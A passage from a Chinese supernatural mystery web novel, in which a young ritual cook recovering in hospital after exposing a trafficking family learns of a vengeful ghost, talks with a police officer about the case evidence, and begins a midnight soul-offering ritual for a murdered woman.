外婆往走廊而去，抬眼，她便看到一位身穿黑色外套的年轻男人正站在走廊的窗户前，他随意地将外套披在肩上，头发在头上束成了类似发冠的形状，在看到外婆走来的时候，他倒是松了口气。
“看来已经没事了。”
外婆停下脚步，站在距离道长几步之外的地方看着他：“嗯，小道长，多谢你及时赶到，这份人情，是我欠你们青城山的。”
“举手之劳，不足挂齿。”道长微微一笑，“而且，要感谢的话，这只猫也出了一份力，当时我正在公园睡觉呢，是它来找我的。”
道长说着，垂下眼眸看着脚边的黑猫，那只黑猫像是有灵性一样一直跟着道长，在看见外婆走出病房之后，它起身走到了外婆面前，抬起那双圆圆的眼睛看着她。
“……”
外婆沉默着看着这只黑猫，眼神更加深邃了几分。
半晌，她抬起头看向道长：“进去坐坐吗？那孩子已经醒了，我想，她会希望能亲口道谢的。”
道长摆了摆手，转身留下了一句话：“不必了，如果有缘的话，我们自然还会相见。”
30. 煞气
且说回病房里，宋明夷这个人，虽然鬼马且功利，但在对待朋友的事情上面她还是比较讲义气的。
虽然现在按照轮班，是她的下班时间，但她还是在医院里忙前忙后地了解了沈聆的情况，并跟外婆用通俗易懂的语言大致描述了一下沈聆的伤情。
“嬢嬢，准确来说呢，沈聆肋骨断了两根，左手的手臂骨折了，其他还有一些外伤，但都是皮外伤，不打紧的，骨伤科已经给沈聆安排了核磁共振检查，检查一下脑震荡的情况，不过您别担心，看沈聆现在的情况还不错，她大难不死、必有后福的。”宋明夷说着，从白色的袋子里拿出了好多张X光片，将X光片对准了天花板上的LED灯，沈聆看见自己的身体情况在黑色的X光片下暴露无余。
确实。
除了左侧的肋骨有一些歪斜之外，她的身体情况还算好，她也算是命大，虽然那傻子下手很重，但她并没有遭受致命伤。
“嬢嬢你别担心，另外，她妹妹的手术呢我也了解了一下，明天下午有一场颅脑外科的二期手术，不过沈聆现在这个样子是没办法办理手术的手续了。”宋明夷说着，看了一眼身上缠满了绷带的沈聆，随后，拍了拍胸脯，“不过有我在，您不用担心，我就是这个医院的护士，我帮你们弄清楚要哪些东西，有一些需要签字的同意书您再跟我去一下就好。”
“喂，宋明夷。”沈聆沙哑着声音开口唤了一声。
“干嘛。”宋明夷瞥了一眼沈聆，发现她那眼神像是有话要说的样子。
她放下了手里的X光片，凑到了沈聆耳边，一脸“有话快说、有屁快放”的表情。
“你为什么要这么帮我？”
“那当然是因为我们是好姐妹啦！”宋明夷回答得十分爽快，并配上了一副阳光乐观的表情。
“少来，你以为我不知道你是什么人吗？你是奔着搜集直播素材来的吧。”沈聆翻了个白眼，“老实说，那天晚上在走廊拍到的灵异短视频，你是不是已经剪辑好、发出去了。”
宋明夷“嘿嘿”一笑，挠了挠头：“哎哟，这么聪明做什么，你这样很难交到真心朋友欸，不要老带着有色眼镜看人，小小年纪的，不要这么功利心。”
宋明夷说着，用手指点了点沈聆缠满了纱布的脑袋，不等她反应过来，一溜烟似的跑向了门外，边跑比还边不忘说着：“我去神经外科看一下沈凝的手术安排情况哟——”
年轻的身体总是充满活力的，宋明夷像是有一身使不完的牛劲，总是对未来充满了蓬勃的朝气，和充沛的希望，她那张涂满了美白霜的脸上总是洋溢着热情的微笑，带着弧度的嘴角像是对所有人都亲和礼貌，但实际上沈聆能够感觉到，她和所有人，都不是真心朋友，虽然表面说说笑笑的，但也都只是停留在表面。
一个总是微笑的人，才是最会伪装的人。
在宋明夷离开之后，病房里一时间只剩下了外婆和沈聆。
外婆扫视了一眼身上缠满了纱布的沈聆，叹了口气：“聆娃儿，你这次太鲁莽了。”
“咳咳……我……我这不是没办法嘛，外婆，当时我没有具体的证据能够证明秦琴的死和那家淮阳牛肉面馆有关系，我只能从现有的线索推敲出那家人不简单……咳咳……我只有48小时，我想……我想至少能在超度秦琴之前，给她一个交代。”
“聆娃儿，你只是个人，你不是神，审判罪恶的这种事情，在阳间，有法院，在阴间，有阎王，你只是个阴厨，你只需做好自己的本职工作就好。”
外婆的表情十分严肃，她坐在对面无人的病床上，那张脸完全没有因沈聆破获了人口贩卖案的自豪，相反，听着宋明夷和沈聆的对话，她的脸色更凝重了几分。
“……我只是想帮一帮秦琴。”
“帮？你觉得这个世界上有多少需要帮助的人？娃儿，你帮不完的，做我们这一行的，会看到许多生离死别，不是每一次我们都能干预，每一次干预，就是打破了命数本来的轨迹，你一定会付出一定的代价。”
“代价？外婆，难道我这是……”
沈聆听到那个词，不由得感觉到一阵后背发毛。
“如果没有你的介入，按照正常的轨迹走下去，才是原本事情的发展路径，但现在你介入了这个事情，干预了那一家三口的命运，不止如此，其他被拐卖的女娃娃的命运你也间接性干预了，干涉了神灵预定的命数，你就必须付出相应的代价。”
是的。
世间万事万物，潮起潮落，小到一次蝴蝶的振翅，大到一个国家的覆灭，都是按照原定的命途轨迹进行的，但总有一些意外的发生会打破这些所谓的“轨迹”，一旦偏离了原先的发展轨迹，那么产生的“蝴蝶效应”甚至将产生极大的影响。
造成这一改变的人，自然需要付出相应的代价。
和神明做交易，从来不是一件轻松的事情。
阴厨，本身就是行走在阴阳两界的特殊人群，他们能听到许多常人听不到的声音，知道许多常人不知道的事情，在这样的平衡中寻求回报的同时，也承担着可能带来的危险。
这一次，沈聆就被阴厨的负面影响反噬了自身。
还好，及时赶到的道长救了她，否则后果不堪设想。
“……”
听了外婆的话，沈聆半晌没有说话。
她眼前全都是自己身上裹着的白色的纱布，身上的伤口隐隐作痛，药水还在24小时挂着，她还要接受一系列的康复治疗才能恢复如常……如果说要彻底忽视这些来探讨生命大义，那自然是不太现实，但如果为了明哲保身就放弃拯救他人，又是对的吗？
“……外婆，那是许多年轻女孩的一生啊，我没有办法看着她们像秦琴一样死在没有人知道的地方。”
半晌，沈聆才说出了这么一句话。
她的声音沙哑，而又坚定，充满了疲惫，但却没有一丝后悔。
“如果让我重新选择一次的话，我还是会这么做的。”
她抬起头，看向了天花板。
“无论是为了活着的被拐卖的女孩子们，还是为了含恨而终的秦琴。”
外婆也知道自己劝不了沈聆，这个问题放在任何人身上，相信大多数人都会
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做出相同的选择，尤其是在目睹了秦琴的鬼魂后，在知道了秦琴曾经受过的虐待之后，很难做到冷眼旁观。
只不过。
她终究是她的外婆。
自私一点的程度来说，她还是希望自己的外孙女能好好的。
毕竟她已经有一个外孙女住在ICU了，不希望另一个也出事。
“唉……你自己要把握好分寸。”
外婆沉默了半天，只是丢出这么一句话。
“放心吧，外婆。”
“喵……”
就在这时，猫咪的叫声引起了沈聆的注意，她转头看去，发现不知道什么时候，一只黑色的猫咪正窝在外婆身边，它蜷缩着身体，背靠着老人家，看起来像是一团黑色的毛线团，如果不是时不时眨眨眼睛、动动耳朵，还以为它是一个黑色的围脖。
“这只猫……”
“这只猫似乎跟你挺有缘的，你还记得当时那位小道长救你的时候吗？就是它去通风报信的。”
“啊……居然是它？”沈聆讶异地看着那只黑猫，“我当时在小院子里看到它，就觉得它不简单。”
那只黑猫听到了沈聆的声音，动了动小耳朵，像是有灵性一样，睁开了宝石一样的眼眸看着眼前的女孩子。
它的那双眼睛，就像是绿色的琥珀，晶莹剔透。
“它跟你很有缘呢，聆娃儿。”外婆说着，摸了摸黑猫的脑袋，“我想着，既然这只猫有通灵的体质，不如让它跟着你，当你发生什么事情的时候，它也好帮帮忙。”
“可以呀，我只不介意，只要它不担心跟着我吃不饱、穿不暖的话……”沈聆微微一笑，随即，她想起了道长，“对了，那个道长呢？是他救了我，我还想跟他说声谢谢呢……”
“他已经走了。”
“走了？”沈聆一愣，“难道刚才他在外面吗？”
“嗯，但是在你醒了之后，他就走了，留下了这只黑猫。”
“说来……那个道长好像有两把刷子，宋明夷的符咒应该也是在他的小摊买的，在秦琴出现的时候，那张符咒替我们挡了一下黑气，否则前天晚上我们估计凶多吉少。”
“黑气？怎么回事？”外婆一下子紧张了起来。
这孩子，似乎总有许多事情瞒着她，明明是新手上路，但是仗着自己有“新人光环”，总是喜欢胡来，喜欢擅自做决定。
沈聆认真回想了一下：“前天晚上，产科闹鬼了，当时我也在场，我和宋明夷先是听到了检测仪自动播报了一组身高体重的数据，随后又看到走廊上的鬼影，就连护士长都不是活人……我知道那层楼有鬼，我到病房那边想进行‘唤魂’，但没想到鬼魂刚出现的时候有一团黑气在旁边，那团黑气有很强的攻击性和血腥味，如果不是当时宋明夷带着的符咒替我们挡住了黑气的第一次攻击，估计我们……”
“那不是黑气。”
外婆打断了沈聆的话。
“你看到的，应该是煞气，胁迫秦琴的应该和胁迫你娘的人是同一种力量，这煞气充满了血腥味，一看便是积年的厉鬼才有的道行。”
31. 祭魂
这个世界，远比你想象中要更加可怕一点。
曾以为阴厨的工作就是超度亡魂，但从接二连三发生的事情来看，背后似乎总是有一股不知名的力量在操控着什么。
那股力量，是某个厉鬼的力量。
它的力量远在一般鬼魂之上，甚至能够操控、胁迫其他鬼魂。
这已经是第二次了，每次它附着在其他鬼魂身上的时候，都会引起对方发狂、躁动，而且它下手的对象一般是新丧的亡魂，这一点倒是十分统一。
“新丧的亡魂中，生魂的气息比较重，它应该是想将生魂的力量吸收为己用，强大自身的力量。”
外婆是这么解释的。
“厉鬼说白了也不过是孤魂野鬼，它们并非阳魂，无法在人世间存留太久，为了尽可能在人世间保持自己的形态，它们便会寻觅、吸收生魂，而且最好是含恨而终的生魂，这样的生魂能让它们灵力大涨，从而增加它们的魂力。”
虽然不知道对方是谁，但此人在陵川市兴风作浪已经不是第一次了，或许在沈聆继任阴厨之前，它就一直横行霸道，如果任由它继续为非作歹下去，恐怕陵川市将永无宁日。
沈聆默默记住了外婆的话，决定留意一下所谓的“厉鬼”。
话说回当下。
且说沈聆完成了秦琴的嘱托，但阴厨的工作分为两个步骤——唤魂和祭魂，她已经完成了唤魂的步骤，接下来，就必须在间隔48小时的时间内完成祭魂。
阴厨的工作，是需要有始有终的。
唤魂，相当于和鬼魂订立契约，为了完成鬼魂的嘱托，就必须要进行祭魂，否则，鬼魂将残留一缕魂魄跟着阴厨，最后阴厨也将被反噬，纵使沈聆目前已经洗刷了秦琴的冤屈，也必须完成祭魂。
“你自己可以吗？”外婆有点儿担忧地看着沈聆。
当下，沈聆正让护士帮忙拔掉了手上的点滴，并固定了骨折的地方，浑身裹着纱布就要从床上支楞着站起来。
“没问题外婆，都是一些皮外伤而已。”
在双脚站在地上的时候，沈聆因为脑震荡而感觉到一阵头晕，她忙扶着病床旁的栏杆站定了一会儿，正想抬起手摸一摸脑袋，却因为手上都固定着夹板而倍受限制。
“祭魂的步骤必须是唤魂人亲自进行的，而且，我也想送秦琴离开。”
沈聆补充了一句，她下意识地看向了病房的窗户，窗外，已经是黄昏了，现在距离她上一次唤魂的时间已经四十多个小时，她必须完成祭魂的步骤，如果超过48小时，她必将被反噬，甚至落得和母亲一样不得善终的下场。
沈聆扶着病床，有点儿颤抖地走了几步。
“喵……”
那只黑猫很不放心地围在沈聆旁边，它用毛茸茸的小身体蹭着沈聆的裤腿，似乎想用这样的方式尽一份自己的力。
“来啦，我买来淮阳牛肉面啦……”
一个声音在病房外面响起，是宋明夷回来了。
沈聆抬起头，看见她提着一个保温桶，匆匆忙忙地回到了医院。
这是她让宋明夷去打包的，虽然秦琴指定要西郊路47号的淮阳牛肉面，但那家淮阳牛肉面馆因为警方的介入调查，目前已经关门大吉，没办法买到那一家的牛肉面，沈聆便拜托宋明夷在本市找了另一家淮阳牛肉面馆，其他的都无所谓，但要求做牛肉面的人一定要是河南省周口市的人。
她希望尽可能还原那家牛肉面馆的味道，相信秦琴如果泉下有知，也不会怪她的。
“沈聆，你小心点儿，你现在骨折着，别再摔着了！”宋明夷放下手中的保温桶，忙往前走了几步，扶住了沈聆。
在她凑近身边的时候，沈聆嗅到了一股香水的味道：“……这是你新买的香水？”
“嘿嘿，你的鼻子还挺灵的。”
“看来新发的视频赚了不少流量啊……”
“也没有啦，就一点点，嘿嘿，还得感谢沈老板照顾我的‘小本生意’，否则我哪有这么多题材能更新呀。”
两个女孩子压低了声音悄悄说话，都怕让外婆听见他们居然还把阴厨的事情在网络上公开直播——
宋明夷担心一旦老人家知道这些事情，会立刻翻脸、让她从此痛失直播的题材，到时候她好不容易打出的名气会逐渐流失，甚至被其他主播瓜分。
而沈聆担心的是，如果外婆知道自己第一次直播的时候就搞砸了事情，会对她大失所望，毕竟阴厨在过去都是相对隐秘的职业，外婆不愿意对外声张一定有她的道理，或许从祖祖辈辈开始，这个职业就一直是她们家传女不传男的隐晦之事，现在到了她手里可倒好，直接曝光了，而且还冲上了热搜第一，这事情如果让老人家知道了，还不得气得脑溢血？
两下权谋，两个女孩子都默契地选择了隐瞒。
“你少献殷勤，你做的这些事情，就是为了让我答应你晚上祭魂的时候也让你直播对吧。”
“什么都瞒不过你，聪明。”宋明在沈聆耳畔说道，“不过你别担心，我会在直播间打上字母的，一定不会违反公序良俗，而且现在好多直播捉鬼的主播，管理员未必会封禁我这一个直播间，我现在热度大得很，他们也不敢轻易封我。”
“是不是真的啊。”
“百分百保真！我跟你说啊，我觉得这是一个全新的思路，如果我们在网上打出了知名度，甚至成为了一条‘产业链’，说不定就可以像‘侦探事务所’一样，会有许多委托人上门，那些委托人肯定都是苦大仇深、怨念深重的，你需要业绩，我也需要素材，我们是双赢啊！”
“哈？事务所？”
“对啊！我们可以合作一家‘阴厨事务所’，这可是前无古人、后无来者的壮举！我相信我们一定可以名扬天下！”
看着宋明夷满眼闪烁着星星的兴奋样子，沈聆可不忍心打断她。
如果告诉她自己的母亲就是因为做阴厨没做好、死于非命，宋明夷是否愿意继续和自己合作还是个问题。
不过那些都是后话。
当前沈聆比较关心的是，要尽快完成秦琴的嘱托。
在宋明夷的搀扶下，她走
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到了病床前，外婆已经打开了保温桶的盖子，一股子牛肉面的香味从里面溢出。
“咕噜噜……”
闻到那牛肉面的味道，宋明夷的肚子饿得咕咕叫，仿佛在抗议着主人对它的忽视。她的脸色瞬间涨得通红，尴尬得恨不得找个地缝钻进去，只好用手捂着肚子，不好意思地笑了笑，向周围的人示意她们不用管她。
“给。”外婆突然打破了这诡异的沉默，她从兜里掏出一把折叠的水果刀，轻轻地递给沈聆。
“好。”
沈聆接过小刀，毫不犹豫地将其打开，然后在自己的食指上没有缠纱布的地方用力割裂了一道伤口。
一阵尖锐的刺痛传遍全身，但她咬紧牙关，一声不吭,随着鲜血缓缓从伤口渗出，沈聆的脸色变得苍白如纸，但眼神却异常坚定。
这是阴厨做事的规矩。
要为鬼魂制作饭菜，必须加入阴厨本人的血，凭借着唤魂订立的契约，供奉的亡魂才能享受到食物。
沈聆将血滴入牛肉面中，那一滴鲜血便如同红色的墨水一样，在牛肉面的面汤里荡漾着扩散开来。
“外婆，请香的事情……”
“放心吧，在来之前，我已经帮你弄好了。”外婆说着，从背包里拿出了三支香。
和祭魂、唤魂的环节不同的是，请香不一定要阴厨本人才能做，只要在三清面前默念亡魂的名字，将香火横着请香便能完成。
“好，我知道了。”
沈聆接过了三支香。
“今天晚上入夜后，我就去祭魂。”
“你要记住，纵使你有很多话想和秦琴说，但你们之间的对话不能超过三句。”
“好。”
就在外婆叮嘱沈聆注意事项的时候，一阵急促的脚步声从门外的走廊传来。
病房里的三个人都听到了那脚步声，就连黑猫都抬起头，警惕地看着门口。
“快收起来……”沈聆说着，将手中的水果刀复原，并藏起了割破的手指。
就在这时，一个人走进了病房里——
“沈聆？你能下地走路了吗？”
沈聆听到声音后缓缓地抬起头，她那清澈明亮的眼眸逐渐聚焦到眼前的人身上。只见身着警官制服的林凌正巧来到了病房门前，他穿着整洁的警服，戴着威严的警帽，身姿挺拔如松，显得格外英俊潇洒。
他的眼神依旧充满着神采，仿佛能够穿透一切迷雾，让人感到无比安心和信任。整个人散发出一种强烈的正义感和责任感，令人不禁感到几分安心。
“哇，好帅的警擦叔叔！”宋明夷不禁感叹，“沈聆，你的桃花运还真好欸！”
沈聆白了她一眼：“你如果还想和我合作，就别老说些莫名奇妙的话。”
林凌倒是没有听见两个女孩子的嘀咕，他朝着沈聆走来：“你身体已经好了吗？我听说你浑身有好几处骨折，还有脑震荡，怎么就下床走路了？”
在他走到她身边的时候，她再一次嗅到了那熟悉的薄荷味。
是一股令人安心的味道。
32. 鬼上身
在林凌的帮助下，沈聆再一次躺回了床上，外婆和宋明夷及时收起了祭魂的东西，她们都认为这件事情还是瞒着林凌比较好，毕竟对方的职业特殊，一些事情不方便让他知道。
“我听说你们破获了人口贩卖案？”
沈聆半靠在病床上，林凌替她将病床调高了一点，方便她能够倚靠着病床坐起。
“托你的福，我们顺着那家淮阳牛肉面馆，摸索到了所谓的‘赵姨’的人口贩卖组织，在警方破门而入的时候，正好找到了一伙人贩子正在数钱，我们在其中一个房间里找到了很多被拐的女孩子，只不过可惜的是，为首的‘赵姨’跑了。”
林凌坐在沈聆对侧，他特地抽时间从警察局赶来，是为了看看沈聆的情况如何。
“怎么会跑了呢？警方的人应该很多才对。”
“我猜……或许是她事先收到了消息，听到风声才跑路的。”
“你是说……有内鬼通风报信？”
“这我也说不准，毕竟警察局很多，从我们查到淮阳牛肉面馆开始，我们调集了两个支队赶往牛肉面馆进行抓捕，在这期间，很可能就泄露了消息，让赵姨有了提前跑路的时间。”
林凌皱起了眉头，一想到那个拐卖了许多无辜女孩子的人现在还在逍遥法外，他心里就不是滋味，贩卖人口在我国是一件很严重的案件，因为犯罪者往往破坏的是一个家庭的命运，被卖掉的女孩子轻贱如牲口，有的被卖到大山里，一辈子逃不出来，有的惨死途中，命运悲苦，可以说，这些犯罪分子是极其可恶的。
林凌也想在今天晚上借着这个机会把所有人贩子都一网打尽，毕竟这样的机会并不常有，这些犯罪分子的反侦察意识很强，他们东躲西藏着，藏在人群中，隐蔽自己的踪迹，如果不是刚好调查到某个被拐卖妇女的事情，很难顺藤摸瓜把他们都查出来。
只不过，这次错过了这个机会，下一次再有这样的机会，不知道会是什么时候了。
林凌这么想着，叹了口气：“不过，你也别担心，至少那家淮阳牛肉面馆的一家三口已经全部逮捕了，从他们家的柴房里我们检查到了秦琴遗留的DNA，他们应该将受害人囚禁在柴房里虐待了很长一段时间点，虽然经过清洗，但许多角落里的血迹还是被鲁米诺反应检测出来了，这些全都是他们罪有应得的铁证，时间不会忘记他们做过的事情，受害者不会忘记他们做过的事情，他们犯下的罪责，总有得到惩罚的一日！
“这一切，还要归功于你，沈聆，如果不是你潜入牛肉面馆搜集证据，我也没办法搜集到那傻子亲口认罪的录音证据。”林凌一字一句地说着，脑海中想起傻子肥头大耳的面容就更觉得面目可憎，“没想到那傻子居然是装傻，他演技还真好，连他爹娘都骗了。”
“他好像从小就被他爹一直打，他爹望子成龙，对他要求很严格，稍不顺心就会打儿子出气。后面他发现，如果装疯卖傻，他爹就拿他没办法，苛刻的管教也会逐渐松下来，于是从那时候开始，他就一直假装自己是个傻子。”沈聆停顿了一下，声音中带着几分惋惜，“我想，刚开始秦琴也没想到傻子是装疯卖傻的，她甚至还求着傻子帮忙联系她父母，但是没想到，那傻子才是一家三口里最可恶的人。”
是的。
他不只是对秦琴的遭遇、母亲的遭遇冷眼旁观，甚至还觉得这样的行为十分合理，认为男人就是应该用棍棒管教女人。
这是他从小形成的价值观。
在他的认知里，或许野蛮暴力才是征服他人的唯一手段。
从他记事以来，他爹就是这么对待他娘的。
现在他有了媳妇，他自然也会这么做。
“刚开始我还以为那是其乐融融的一家四口，现在想想，还真是恶心。”林凌微微眯起眼睛，讲到那家人的恶行，他咬牙切齿。
林凌是那家面馆的熟客，他还是警察，但在这期间，他却从来没有察觉到这家人的异常，还以为他们终于找到了一个乖巧安静的儿媳妇，没想到那个默默忙碌在后厨的女人、不常露面的女人，过得这么辛苦。
“如果我早一点察觉到不对劲就好了，说不定秦琴也不会死了……”
“不是你的问题。”沈聆轻声安慰，“他们控制着秦琴，不让她离开后厨，她根本没有到店里求助的机会，而且他们表面上一团和气，就算有什么争吵，也会用‘小夫妻闹矛盾’掩盖过去的，那对老夫妻在所有人眼里都是老实本分的人，很难想象他们背后是这么肮脏的真相。”
沈聆停顿了一下，想起了那天晚上林凌给自己发的短信。
“对了，那天晚上你给我发的短信，说你在公园的监控画面中看到了傻子跟踪尾随沈聆的画面？”
“对。”林凌点了点头，“因为公厕是秦琴被发现的地方，我留了个心眼，调取了公园的监控画面，发现秦琴在逃往公厕的时候，一直被一个人跟踪尾随，画面有点儿模糊，但画面里挺着大肚子的秦琴还频频回头，明显是为了逃避后面某个人的跟踪才跑入公厕的。只不过，那个时候已经是晚上了，中山公园没什么人，她逃到公厕之后，傻子也紧随其后。”
“他也进去了？”
“嗯，我们痕迹鉴定科的同事在公厕的同一隔间提取到了傻子的DNA和秦琴的血，说明当时傻子也跟着秦琴进了女厕所，仗着当时女厕所没人，对秦琴……”
说到这里，林凌突然闭上了嘴巴，脸上露出不忍之色，仿佛下面的话让他难以启齿，但在场的人都是聪明人，他们很快就猜到了那个傻子当时可能在做的事情，所有人的脸色都变得极为难看，眼中闪过震惊和恐惧。
气氛一下子变得凝重起来，整个房间陷入了一片死寂之中，那股浓烈的消毒水味弥漫在空气中，让人感到压抑和窒息。
时间
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似乎凝固了，每一秒钟都变得格外漫长。
在这充满紧张氛围的病房里，人们的呼吸声清晰可闻，每一次呼吸都带着深深的寒意，仿佛空气已经结成冰，每吸入一口都会刺痛肺部，让人忍不住颤抖。
“太TM恶心了！那个死胖子！千刀万剐！死不足惜！”宋明夷愤愤不平地说，面露愠色，咬牙切齿地，她已经代入了秦琴的角色，出于同为女性的同理心，此刻她对傻子的厌恶程度到了顶峰。
“罪过，罪过。”外婆摇了摇头。
她已经看尽了人世险恶，知道人性才是最可怕的东西，有些人虽然活着，但是却连猪狗都不如。
“不过还好，当时公园的公厕外，有一家三口路过，那个小女孩说自己尿急想上厕所，于是在妈妈的陪同下进了女厕所，傻子听到有人来了，匆忙从公厕的窗户翻出去了，所以在发现秦琴的时候，这对母女只看到了大出血的秦琴，没有看到其他人。”林凌说着，指了指地板，“他们将秦琴送到了平安医院，但是当时产妇出现了大出血休克的情况，胎儿即将分娩，于是产科医生紧急进行了剖腹产，帮秦琴生下了一个孩子。”
“他们也不敢来认这个孩子吧，毕竟是拐卖人口才有了这个孩子。”沈聆沉声说道，“而且秦琴自从怀孕之后，从来没有产检过，只要查证一下秦琴的身份证信息，就能知道她根本没有登记结婚。”
“但是，我还有一个疑惑。”宋明夷眨了眨眼睛，举手提问，“既然秦琴已经被送到了我们医院，那她相当于暂时逃脱了陈家的控制，为什么还会在生完孩子之后跳楼呢？如果是我的话，在生完孩子后，我就会报警，把所有的事情都抖出来。”
“你说的这个问题，我们也有考虑到。”林凌回答，“刚开始我们以为陈家的一家三口曾经到医院威胁过产妇，让她守口如瓶，但我们调取了医院的监控摄像头，都没有查到在秦琴住院后那一家三口到过医院的证据，而且路边的监控摄像头也说明了这几天那三个人一直就在牛肉面馆，除了早上进货的时候曾经到过菜市场之外，没有其他行动轨迹。”
“这就奇怪了……”沈聆皱起眉头。
是什么原因，让秦琴非死不可？
她记得当时在新闻上看到的曝光的监控画面中，秦琴跳楼的时候可谓是毫不犹豫，她呆呆地坐在床上看着窗户，在其他产妇都睡下之后，她忽然就从床上站了起来，接着，像是鬼上身一样冲向了窗户，双手盼着窗框，从6楼的窗户一跃而下，砸在警车上，当场死亡。
她死得毫不犹豫，就像这个世界已经没有她所怀念的事情一样，甚至是为自己报仇的念头也没有。
“鬼上身？”沈聆忽然对自己萌生的这个想法感到一阵毛骨悚然。
“什么？”林凌听到了沈聆口中的喃喃，不解地皱起眉头。
“我是说……会不会秦琴跳楼，是因为鬼上身？”
33. 鬼女
时近午夜，医院宛如一座被黑暗吞噬的阴森古堡。四周死寂般沉静，只有偶尔传来的风声，如同恶鬼的低吟，在医院的角落里回荡。
在医院里所有病患都陷入了深沉的梦乡之后，真正的恐怖才刚刚拉开帷幕。此刻，仿佛有一双无形的手，正缓缓揭开那隐藏在黑暗中的恐怖面纱。
“喀拉。喀拉。喀拉……”
这是一种令人胆寒的奇怪声音，仿佛有什么邪恶的东西正在被缓缓拖拽着。
这个声音在寂静得如同墓穴般的走廊里不断回荡，每一声都像是一把尖锐的匕首，深深刺入人的心底，让人毛骨悚然。
空气仿佛被冻结了一般，压抑得让人无法呼吸，诡异的氛围如同一团浓得化不开的黑雾，紧紧笼罩着整个空间，让人感到一阵深入骨髓的寒意。
医院走廊上，绿色与红色的灯光诡异地交错着，映在地面上，摇曳的影子仿佛从地狱爬出来的人形一样模糊不清。那绿色的光，如同幽冥鬼火，散发着阴森的气息；红色的光，则像是鲜血的映照，让人不寒而栗。
墙壁上斑驳的痕迹，像是无数双看不见的手抓过留下的印记。角落里堆积的杂物，在昏暗的灯光下，仿佛隐藏着无数不可告人的秘密。
突然，一个身影出现在走廊的尽头。它摇摇晃晃地走着，每一步都显得格外沉重，仿佛背负着沉重的枷锁。
“格拉……格拉……”
随着它的靠近，一股浓烈的死亡气息弥漫开来，如同腐臭的味道，让人作呕。这个身影似乎没有生命迹象，但却又好像有着某种神秘的力量驱使着它前行，它的轮廓在昏暗的灯光下若隐若现，仿佛是一个从地狱深处爬出来的恶魔，随时准备吞噬一切生命。
风声在狭长的走廊中呼啸而过，带着一丝彻骨的凉意，那些飘散在空中的微小颗粒，仿佛是来自冥界最深层次的呼啸，它们在空中舞动，如同幽灵的低语。这些颗粒最终消失在无尽的黑暗之中，仿佛被黑暗中的神秘力量吞噬，只留下一片让人胆战心惊的死寂。
“宋明夷，你能不能扶稳一点啊，我要摔倒了。”
“叫什么叫啊，你现在根本不能下床走路的！我瞒着主治医生把你搞到这里来，你得多谢我的大恩大德你知不知道，要不是我发了个红包给骨科的住院医生，你现在还在病房里出不来呢！”
两个女孩子互相埋怨的声音在走廊的另一头响起，只见宋明夷扶着浑身缠着纱布、打着石膏的沈聆来到了产科病房的走廊，沈聆此刻活像个木乃伊一样走在长廊里，还好现在是午夜，如果是在白天，被其他孕产妇看到了，估计要吓得多几个早产的新生儿。
“格拉。格拉……”
腿上的石膏摩擦着地面，沈聆被那些石膏支楞得四肢无法弯曲，只能在宋明夷的搀扶下朝着秦琴的病房走去。
此刻，她们心中已经没有对恶鬼的恐惧了，午夜医院的走廊虽然恐怖，但却比不过人心那么可怕。
只要想到恶鬼曾经和她们一样是明媚可爱的女孩子，那心头的恐惧自然就减少了几分。
“快到了吧……”
沈聆缓缓抬起头，目光投向走廊前方。在那应急通道绿色的灯光下，恍惚间，她仿佛看到一个模糊的人影静静地伫立在走廊的另一头，死死地盯着自己。
沈聆本能地停住脚步，身体猛地一震，如同被施了定身咒一般。她的心脏急速跳动，仿佛要从胸腔中蹦出。她的双手不自觉地紧紧握成拳头，指甲深深地陷入掌心，却丝毫感觉不到疼痛。
她看见了。
看见一个年纪大约五六岁的小女孩，此刻正从走廊另一头的楼梯间缓缓探出半个小脑袋！
那小小的身影在黑暗中若隐若现，如同鬼魅一般，夜色如墨，浓稠得仿佛化不开的墨汁，她根本看不清小女孩的面容。只能看到对方披散着如丝般柔软的头发，在那微弱的光线中，仿佛有无数的黑影在舞动，那双眼睛，如同猫一般，在黑夜里闪烁着诡异的光芒，隐隐发亮，仿佛是来自地狱的鬼火。
【嘻嘻。】
奇怪的是，她耳畔好似听到了小女孩的轻笑，一股莫名的恐惧如同潮水般自心底汹涌升腾而起——那是被凝视后从脊梁骨窜上的一阵恶寒，让她的身体不由自主地颤抖起来。
沈聆睁大了眼睛，惊恐地望着那个小女孩，喉咙却像是被一只无形的手紧紧扼住，愣是一句话都说不出来。
“怎么了？”
感觉到沈聆不太对劲，扶着她的宋明夷疑惑地抬起头看了一眼，发现自己的伙伴正目不转睛地看着前方，她顺着沈聆的视线看去，但奇怪的是，她并没有看到走廊那头有什么东西。
“你没看到吗？”沈聆转过头看了一眼宋明夷，但当她再一次回头的时候，那个小女孩已经消失了。
“没有啊？什么都没有啊？”宋明夷眨着眼睛看着走廊另一头，但她肉眼凡胎，确实什么都没有看见，“喂喂喂，你别吓我啊，这里真的有鬼的话，不是只有秦琴一只鬼吗？”
“……或许吧，我也不确定。”
沈聆怕吓到宋明夷，并没有细说刚才自己看到的“东西”，她本能地感觉到那个“东西”一定不简单，至少，在她看到对方的那一瞬间，有一种被“捕食者”注视着的恐惧感，她像是食草动物被食肉动物盯上了一样，本能地双脚发抖，甚至前进的脚步也不由自主地停了下来。
——那会是外婆口中的“厉鬼”吗？
沈聆不知道。
外婆此时还在骨科病房，只有她和宋明夷来产科祭魂，如果外婆在的话，以外婆的资历，说不定还真能看出那是什么“东西”。
但无论如何，现在那个“东西”已经消失了，也不是追究那些的时候，她还有更要紧的事情要做，48小时的时间界限已经快到了，她必须尽快完成祭魂。
在宋明夷的搀扶下，沈聆一瘸一拐地来到了出事的病房外面。
这一次，她稳了稳心神之后，推门而入。
“吱呀……”
在轻轻推开病房的时候，迎面便感觉到一股冷风扑面而来，二人抬眼望去，看见产科病房的窗户是开着的。
“……你们的保洁阿姨没有关窗吗？”
沈聆看向宋明夷，但宋明夷也是同样疑惑的表情。
“应该有的，而且这间病房现在已经没人住了，在最后一次终末消杀之后，就会把门窗都关起来的。”
“那就奇怪了……”
沈聆沉默了一下，走到44号病床边。
她在宋明夷的帮助下，从黑色的背包里拿出了自己的工具：小镜子、结魄灯、鎏金香炉，对这几个“老伙计
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”，她几乎越来越能熟练使用了。
按照之前的步骤，沈聆对着44号床，将小镜子放在灯和香炉的后面，点燃了结魄灯，并跪在了香炉前，恭恭敬敬地将已经【请香】过的三柱香点燃。
“天地阴阳，万物生灵，幽幽魂魄，徘徊于世，以灯为凭，以香为引，招魂于此，速速现身。”
在说完这句话的时候，沈聆手上红绳的银铃响了起来。
“叮铃……”
银铃响，怨魂至！
血河开，黄泉现。
“嘶……”
